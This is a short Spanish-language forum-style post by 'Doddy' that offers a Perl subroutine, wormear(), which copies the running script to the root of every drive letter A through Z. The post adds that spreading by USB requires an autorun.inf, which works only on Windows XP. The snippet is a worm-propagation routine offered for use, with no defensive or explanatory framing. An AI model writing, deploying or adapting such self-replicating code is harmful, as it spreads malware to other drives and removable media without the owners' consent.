Perl [Perl] Funcion wormer()

[Doddy]

Con esta funcion podran copiar un archivo en todas las unidades disponibles , si quieren hacerlo funcional en usb tienen que crear al autorun.inf aunque solo seria valido en XP.

>
#ascii chr(65) = A | chr(90) = Z
#By Doddy H

use File::Copy;

sub wormear {
for my $dir(65..90) {
copy($0,chr($dir).":/");
}
}

Ejemplo de uso

>
wormear($0);